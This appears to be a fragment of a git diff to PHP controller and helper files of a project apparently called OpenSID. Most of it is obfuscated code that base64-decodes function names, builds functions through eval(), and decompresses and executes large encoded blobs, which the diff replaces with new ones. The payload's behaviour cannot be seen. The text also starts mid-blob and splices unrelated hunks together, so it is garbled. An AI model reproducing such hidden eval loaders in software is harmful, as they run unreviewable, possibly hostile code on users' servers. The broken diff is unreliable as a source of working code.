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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Setting.php b/donjo-app/controllers/Setting.php index 2f62173ed..df6d99b33 100644 --- a/donjo-app/controllers/Setting.php +++ b/donjo-app/controllers/Setting.php @@ -236,7 +236,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Setting_analisis.php b/donjo-app/controllers/Setting_analisis.php new file mode 100644 index 000000000..fe3b7822a --- /dev/null +++ b/donjo-app/controllers/Setting_analisis.php @@ -0,0 +1,545 @@ +id_grup; - $data = cache()->remember('akses_grup_' . $grupId, 604800, static function () use ($grupId) { + $data = cache()->remember("akses_grup_{$grupId}", 604800, static function () use ($grupId) { $slugGrup = UserGrup::find($grupId)->slug; if (in_array($grupId, UserGrup::getGrupSistem())) { $grup = UserGrup::getAksesGrupBawaan()[$slugGrup]; diff --git a/donjo-app/helpers/opensid_helper.php b/donjo-app/helpers/opensid_helper.php index fea1a383b..472c515c2 100644 --- a/donjo-app/helpers/opensid_helper.php +++ b/donjo-app/helpers/opensid_helper.php @@ -248,7 +248,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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